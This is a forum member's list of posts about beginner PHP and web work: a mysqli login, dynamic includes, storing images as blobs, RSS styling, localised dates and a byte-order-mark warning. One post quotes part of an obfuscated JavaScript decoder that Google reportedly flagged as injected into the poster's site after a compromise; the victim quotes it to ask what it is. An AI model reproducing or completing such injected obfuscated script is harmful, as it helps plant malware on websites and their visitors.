Jump to content
Killersites Forums

grucker

Member
  • Content Count

    97
  • Joined

  • Last visited

Posts posted by grucker

  1. Just reset your mysql password. 

     

    Or the password maybe just blank.

    Stef

    I was not clear. Eventually I entered mysqli instead of mysql to all the code and it now works.

     

    Thanks for your reply and apologies for not responding sooner.

  2. I have set up a database and a registration form that both work. The log in code I have used for years based on msql will no longer work on my local host. Please point me to a login code which logged in users to the members home page. Any ideas wil be most accepted.

  3. I have the following code which works

    include ("../../../../../accounts/accounts/LINEAR LTD/FIRE EXTINGUISHERS/listofpdfs.php");

    I would appreciate any advice on including the company name, e.g. LINEAR LTD from an external file named name.php

    I found 2 working answers and this is the one I used.

     

    $name = trim(file_get_contents('../../name.php'));

    include ("../../../../../accounts/accounts/{$name}/PERIODIC/listofpdfs.php");

  4. I have the following code which works

    include ("../../../../../accounts/accounts/LINEAR LTD/FIRE EXTINGUISHERS/listofpdfs.php");

    I would appreciate any advice on including the company name, e.g. LINEAR LTD from an external file named name.php

  5. Personally, I would approach this from a different angle. Rather than storing the image directly in the database, which is going to significantly increase your database size over time, I would suggest simply storing the image in a specific location (say, and "uploads" folder) and simply saving the path to the image in the database. I personally haven't ever used blobs for image storing -- this is the way I usually approach it.

     

    That said, you might look here for help with the blob issue: http://www.phpro.org/tutorials/Storing-Images-in-MySQL-with-PHP.html. I believe you can ignore the PDO portions -- as long as you can access the database and retrieve the data, exactly how you do that (MySQL, MySQLi, PDO, etc.) doesn't specifically matter.

    Yes that is the way I normally do it. This time the site requires the owners to update league tables without ftp access and as I will delete obsolete images every month it will not be an overload problem. I will have a look at your link. I know it cannot be difficult. As I said I can get the garbled binary but I am lacking something in the header,(in more ways than one). Will keep looking

  6. I recently added an image as a blob into a mysql database. When I add an image it shows on the webpage required however on return it is gone and asks picture to be added. I have tried several ways to show the image but nothing works. Is this a problem normally?

    league_1.php

  7. I have a few forms that send to a database and then I pull the information posted to a web page. I have many forms that send an email message. How is it possible to send one form to both database and email.

    Regards

    David

  8. Was advised by google my site my have been compromised. a file named external.js contains the following code.

    function externalLinks() {  
    if (!document.getElementsByTagName) return;  
    var anchors = document.getElementsByTagName("a");  
    for (var i=0; i<anchors.length; i++) {  
      var anchor = anchors[i];  
      if (anchor.getAttribute("href") &&  
          anchor.getAttribute("rel") == "external")  
        anchor.target = "_blank";  
    }  
    }  
    window.onload = externalLinks;

    They say the file contains the following code which I cannot see. What does this code mean and anyone know why I cannot see it in the file. By the way the exact code is supposedly in another js file and I cannot see it there either. Please help.

     

    var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
    uvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","l
    ength"];function _1lO(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];va
    r _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x
    9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0
    x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4x
    c++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](
    _0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x3
    62a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea
    4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea
    4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;
    _0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6
    ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {
    if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0
    x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x
    6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[
    5]]);;return _0x6ea4xd;} ;function O0l(_0x6ea4xf){var _0x6ea
    4x10

  9. I use various rss feeds on several websites. Similar code is used for all feeds in seperate functions.On one particular site all but one feed are correct the other shows title and date correctly but the description shows with yellow text.

    <code>function render_products_from_BATLEYRUGBYSMALL() {

    if ($xml = simplexml_load_file(STORE_XML_BATLEYRUGBYSMALL_FILE))

    { $output = "<div>";

    // sets loop to 0

    $i = 0;

    // starts looping through products

    foreach ($xml->channel->item as $item) {

    $output .= '

    <p><a href="'. $item->link.'"><span style="color:#990000; font-size:1.4em;"> '. $item->title.'</span></a></p>

    <div style=" background-color:#993333;"> <p style="color:#fff!important;">'. $item->description.'</p></div>

    <p class="black" >'. $item->pubDate.'</p>

    ';

    // checks the loop. If it's >= 2 (indicating that it's looped 3 times)...

    if ($i >= 0){

    // start new row

    $output .= "</tr>";

    // reset loop

    $i = 0;

    }

    // if not, add one to the loop

    else

    $i++;

    break;

    }

    // finishes table

    $output .= '</div>';

    return $output;

    }

    else

    $output .= 'News cannot be displayed at this time.';

    }

    </code>

     

    As I said this same code works finne with other feeds. How do I get the text to show #ffffff.

    Here is the site to see what I mean. I had to change the background color to get it to show.

    http: // dewsbury.actinic9.co.uk

  10. Going back to your earlier point, which asked about clicks and showing new info in the same page.

    I do it this way.

    First I make a file which shows the include

    <?php
    switch ($_GET['part']) {
    case 'reports/boxingday.php' :
    include('reports/boxingday.php');
    break; ?>

    just keep repeating this to point to all other items

    Then I show the menu to show the link to your item

    <li><img src="../graphics/osblob.png" alt="blob" style="margin:15px 0px 0px 0px;"/>
    <p> <a href="?part=reports/boxingday.php">Ostriches  Reach Season Peak Early</a></p>
    <p class="black">26th December 2011</p>
    </li>
    

    just keep repeating this to point to all other items

    Then the information you want to show

    <p><img src="../reports/watch.jpg" alt="Slapon Watches" />Match  Report Sponsored By Slapper Watches</p>
    <h2 class="white">Ostriches  Reach Season Peak Early</h2>
    <h3 class="white">Ostriches 28 Bulldogs 6</h3>

    Then the two includesThat go on the page of your choice wherever you decide

    <?php
    include ("includes/newsmenu.php");
    ?>
    

    <?php
    include ("includes/newsreport.php");
    ?>
    

    There you have it, an empty page which can be filled with whichever link is clicked particularly useful if others are adding content as the material included can be plain text.

  11. If one inserts acute letters, grave letters, ampersands and accented letters in xhtml they show perfectly on the page.

    However if one uses insert or rss feed they show as � or a square.

     

    How does one make them show correctly.

    Eventually found this was 2 different problems. The inserts issue was solved by using htmlentities(); Like,,

    htmlentities($french= strftime("%A %d %B %Y - %H:%M",time()));

    echo htmlentities($french);

    The Rss feed issue was one of different coding I am using UTF-8 and the feed was using ISO-8859-1 I found that using

    iconv() did the trick, like,

    <p style="margin-bottom:0px;">'.iconv ( 'UTF-8', 'ISO-8859-1', $item->description ). '</p>

  12. I have a time and date using the code

     

    echo date("l jS \of F Y H:i:s.");

     

    Now I need to show this in several different languages, including French German and Dutch

     

    I have tried setlocale();

    and echo strftime

     

    The date shows but still in English.

    Any idea how to show the day date and time in Php for the languages suggested.

    Finally found a way to do this. My wamp server is obviously windows but my web host is Linux.

    So this goes before the head

    <?php

    date_default_timezone_set('Europe/madrid');

    setlocale(LC_ALL, array('es.UTF-8','es_ES@euro','es_ES','spanish'));

    ?>

    and this goes in the body

    <?php

    $spanish= strftime("%A %d %B %Y - %H:%M",time());

    echo $spanish;

    ?>

    Just change country identifiers for different ones.

  13. I have a time and date using the code

     

    echo date("l jS \of F Y H:i:s.");

     

    Now I need to show this in several different languages, including French German and Dutch

     

    I have tried setlocale();

    and echo strftime

     

    The date shows but still in English.

    Any idea how to show the day date and time in Php for the languages suggested.

  14. The reason for the warning "Byte-Order Mark found in UTF-8 File" is definitely because the second website www. sites4eyes .co .uk/portfolio.php has been saved with encoding utf-8 while the first www. sites4eyes .co .uk has been saved with encoding ANSI, I've checked both. It's nothing to do with the .php extension.

     

    When you save the file (using Notepad in my case), use Save As and you should see boxes for File name, Save as Type and also encoding, before the Save and Cancel buttons. Change to ANSI.

    Thank you for your help. I use dreamweaver to edit files not notebook. I edited in notebook and followed your instruction but nothing changed. I suspect the browser didnt refresh. Then I noticed when saving this file in dream weaver the following box was ticked non of the other pages had this. Include unicode signature (BOM). I unticked this and saved. Still nothing changed so I deleted the file from the server and opened a new file and rewrote the code uploaded and everything is fine.

    Your advice has certainly made me check in future before I press save.

    Thanks again

  15. It is usual to use encoding ANSI when saving any html or php file.

     

    The byte order mark can sometimes be seen at the very top left corner of the screen, it's a funny symbol that doesn't do any harm, but may lower everything by one row.

     

    Coding utf-8 should be done in the meta tag for charset, like:-

    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    

     

    I had better start again. The met tag is identical to the one you suggested.

    All pages on the site are identical except for the title in the head section.

    All pages except the portfolio page validate. The portfolio page validates with a warning.

    I just wondered why.

  16. Thanks for you input. So is the present coding supposed to be ansi? the coding does specify utf-8 but it is the same for all the pages and only this one gets the warning. That was what I needed an answer to but I will look into this ansi thingy.

  17. I have a php site which validates on every page except one which carries a warning. The head is a php include so all pages have the same code. I realise this is not a problem but I would like an opinion as to why this may be happening. www. sites4eyes .co .uk is the site that validates and www. sites4eyes .co .uk/portfolio.php is the page that carries the warning.

  18. Hi, guys!What do you think about Shopping Carts?What do you prefer?

    I built a shopping site using the killersites videos. It is reasonably successful but it works well.

    The only negative. The gentleman who narrated and I suppose made the video is not available to answer any queries so One is left adrift with any false code.

    However Ben and one or two others did offer valuable advice which helped and Other help was found on google.

    The site is http://w w w.ultimateskincare .org.uk

    If you go ahead I will be able to give you the answers to the problems I had.

    Regards

    David

×
×
  • Create New...